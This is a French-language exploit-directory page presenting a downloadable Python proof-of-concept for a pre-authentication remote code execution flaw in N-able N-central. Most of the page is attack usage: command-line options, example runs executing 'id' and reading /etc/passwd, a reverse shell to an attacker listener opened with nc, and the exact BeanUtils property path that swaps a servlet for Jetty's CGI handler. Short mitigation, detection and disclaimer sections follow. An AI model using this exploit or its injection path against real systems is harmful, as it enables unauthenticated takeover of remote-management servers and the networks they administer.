Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-86218 — Preuve de concept en Python 3 pour CVE-2026-86218, une RCE pré-authentification dans N-able N-central via une condition de course multipart Struts, avec exécution de commandes et prise en charge du reverse shell. | Kitploit
Outils/GitHubGitHub/super-meuw/cve-2026-86218
Analyse des VulnérabilitésExploitationExploitation d'Applications WebPost-ExploitationTests d'IntrusionRed TeamingOutil d'Accès à DistanceDéveloppement de Charges Utiles
GitHubsuper-meuw/cve-2026-86218

CVE-2026-86218

Preuve de concept en Python 3 pour CVE-2026-86218, une RCE pré-authentification dans N-able N-central via une condition de course multipart Struts, avec exécution de commandes et prise en charge du reverse shell.

il y a 21h 21mPas encore vérifié
Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-86218 - Exploit RCE pré-auth N-able N-central

Aperçu

Ceci est un exploit de preuve de concept en Python 3 pour CVE-2026-86218, une vulnérabilité critique d'exécution de code à distance avant authentification dans N-able N-central.

Détails de la vulnérabilité :

  • CVE : CVE-2026-86218
  • Score CVSS : 10.0 (Critique)
  • CWE : CWE-96 (Injection de code statique)
  • Versions affectées : N-central < 2026.3.1.14
  • Vecteur d'attaque : Réseau (Non authentifié)

Description de la vulnérabilité

N-able N-central utilise un formulaire Struts à portée de session sur une action non authentifiée (/remoteControlAction.do). Deux requêtes multipart concurrentes peuvent provoquer une condition de course dans le gestionnaire multipart du formulaire et exposer la configuration active de Jetty au peuplement de propriétés de Commons BeanUtils. Cela permet à un attaquant de :

  1. Remplacer un détenteur de servlet N-central paresseux (par exemple, LogRetrieval) par le servlet CGI fourni avec Jetty
  2. Configurer le servlet CGI pour exécuter des commandes arbitraires via /bin/sh -s
  3. Envoyer des commandes via le mappage d'URL du servlet remplacé

Prérequis

root@kitploit:~
pip install requests

Utilisation

Syntaxe de base

root@kitploit:~
python3 CVE-2026-86218.py -t <target_url> [options]

Options

OptionDescription
-t, --targetURL N-central cible (par exemple, https://192.168.1.100)
-c, --commandCommande unique à exécuter
-i, --interactiveMode de commande interactif
--lhostIP d'écoute pour le reverse shell
--lportPort d'écoute (par défaut : 4444)
--servletServlet à remplacer : LogRetrieval, FileTransfer, AutomationManagerDownloadServlet
--checkVérifier si la cible est vulnérable
--no-verify-sslDésactiver la vérification du certificat SSL
--timeoutDélai d'attente des requêtes (par défaut : 30s)
--race-delayDélai de la condition de course (par défaut : 0.35s)
-v, --verboseActiver la sortie verbeuse

Exemples

1. Vérifier si la cible est vulnérable

root@kitploit:~
python3 CVE-2026-86218.py -t https://192.168.1.100 --check --no-verify-ssl

Sortie attendue :

root@kitploit:~
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable

2. Exécuter une commande unique

root@kitploit:~
python3 CVE-2026-86218.py -t https://192.168.1.100 -c "id" --no-verify-ssl

Sortie attendue :

root@kitploit:~
╔══════════════════════════════════════════════════════════════════╗
║  CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit       ║
║  Version: 1.0.0                                                ║
║  CVSS: 10.0 (Critical)                                         ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
[*] Obtaining unauthenticated session...
[*] Performing multipart race condition...
[*] Establishing connection for race condition...
[*] Sending helper request to install handler...
[*] Sending mutation fields...
[+] Race condition completed successfully
[*] Executing command: id
[+] Command executed successfully
uid=998(nable) gid=998(nable) groups=998(nable)

3. Reverse Shell

Démarrer l'écouteur en premier :

root@kitploit:~
nc -lvnp 4444

Lancer l'exploit :

root@kitploit:~
python3 CVE-2026-86218.py -t https://192.168.1.100 --lhost 10.10.14.5 --lport 4444 --no-verify-ssl

Sortie attendue :

root@kitploit:~
[*] Preparing reverse shell to 10.10.14.5:4444
[!] Starting reverse shell...
[!] Make sure to have a listener running: nc -lvnp 4444
[+] Reverse shell payload sent successfully!
[+] Check your listener for incoming connection

Sortie de l'écouteur :

root@kitploit:~
listening on [any] 4444 ...
connect to [10.10.14.5] from (UNKNOWN) [192.168.1.100] 49234
id
uid=998(nable) gid=998(nable) groups=998(nable)

4. Mode interactif

root@kitploit:~
python3 CVE-2026-86218.py -t https://192.168.1.100 -i --no-verify-ssl

Session interactive :

root@kitploit:~
╔══════════════════════════════════════════════════════════════════╗
║  CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit       ║
║  Version: 1.0.0                                                ║
║  CVSS: 10.0 (Critical)                                         ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
[*] Obtaining unauthenticated session...
[*] Performing multipart race condition...
[+] Race condition completed successfully
[*] Entering interactive command mode
[*] Type 'exit' or 'quit' to leave
[*] Type 'shell' for reverse shell setup

ncentral> id
uid=998(nable) gid=998(nable) groups=998(nable)

ncentral> cat /etc/passwd | head -5
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
...

ncentral> shell
Listener IP: 10.10.14.5
Listener Port: 4444
[*] Preparing reverse shell to 10.10.14.5:4444
[+] Reverse shell payload sent successfully!

ncentral> exit

5. Utilisation d'un servlet différent

root@kitploit:~
# Use FileTransfer servlet (more disruptive)
python3 CVE-2026-86218.py -t https://192.168.1.100 -c "id" --servlet FileTransfer --no-verify-ssl

Options de servlet

ServletDescriptionImpact
LogRetrievalPoint de terminaison de récupération des journaux (par défaut)Le moins perturbateur, journaux indisponibles jusqu'au redémarrage
FileTransferPoint de terminaison de transfert de fichiersPerturbe la fonctionnalité de transfert de fichiers
AutomationManagerDownloadServletTéléchargement du gestionnaire d'automatisationNécessite le port de l'interface de gestion (8443)

Fonctionnement

Flux d'exploitation

  1. Vérification de version : Interroger /remoteControlAction.do pour extraire la version depuis la page d'erreur
  2. Acquisition de session : Obtenir un JSESSIONID non authentifié
  3. Condition de course :
    • Envoyer une requête multipart lente qui se met en pause pendant l'analyse
    • Pendant la pause, envoyer une requête auxiliaire pour installer un gestionnaire sur le formulaire partagé
    • Reprendre la requête lente avec les champs d'injection de propriétés BeanUtils
  4. Remplacement de servlet : Remplacer LogRetrieval par le servlet CGI de Jetty
  5. Exécution de commande : Envoyer des commandes via le point de terminaison CGI

Détails techniques

La vulnérabilité exploite une condition de course dans la gestion des formulaires multipart de Struts :

  • Struts stocke un objet formulaire par session HTTP
  • Au début d'une requête multipart, Struts supprime le gestionnaire multipart du formulaire
  • Une requête lente se met en pause pendant que Struts lit encore le corps
  • Une requête auxiliaire se termine et installe son gestionnaire initialisé
  • Lorsque la requête lente continue, BeanUtils suit les noms de champs forgés à travers le gestionnaire
  • Ces champs naviguent vers le WebAppContext de Jetty et remplacent le détenteur de servlet

Les champs de mutation utilisent des chemins de propriétés JavaBean :

root@kitploit:~
multipartRequestHandler.servlet.servletContext.classLoader.context.servletHandler.servlet(LogRetrieval).heldClass

Cela traverse : gestionnaire multipart → contexte de servlet → chargeur de classes → WebAppContext → gestionnaire de servlet → détenteur spécifique

Atténuation

  1. Corriger immédiatement : Mettre à niveau vers N-central 2026.3.1.14 ou ultérieur
  2. Restreindre l'accès : Limiter l'accès entrant à la console N-central
  3. Segmentation réseau : Placer N-central derrière un VPN ou une liste d'autorisation IP
  4. Surveiller les journaux : Rechercher toute activité API suspecte et toute création d'utilisateur

Détection

Indicateurs de journaux

  • Requêtes inhabituelles vers /remoteControlAction.do
  • Requêtes multipart avec des noms de champs inhabituels
  • Activité liée à CGI sur les points de terminaison LogRetrieval
  • Création inattendue de comptes utilisateurs

Indicateurs réseau

  • Requêtes multiples et rapides vers le même point de terminaison
  • Charges utiles multipart volumineuses
  • Connexions depuis des IP sources inhabituelles

Références

  • N-able Security Advisory
  • N-able Hotfix 4 Release Notes
  • Rapid7 Metasploit Module
  • Huntress Blog Post
  • CISA KEV Catalog

Avertissement

Cet exploit est fourni à des fins de tests de sécurité autorisés et éducatives uniquement. L'utilisation non autorisée de cet exploit contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation de tester est illégale et contraire à l'éthique.

Obtenez toujours une autorisation appropriée avant de mener des activités de test d'intrusion.

Crédits

  • Découverte de la vulnérabilité : N-able Security Team
  • Module Metasploit : sfewer-r7 (Rapid7)
  • Développement de l'exploit : Basé sur les recherches de Rapid7 et les avis publics
Télécharger l’outil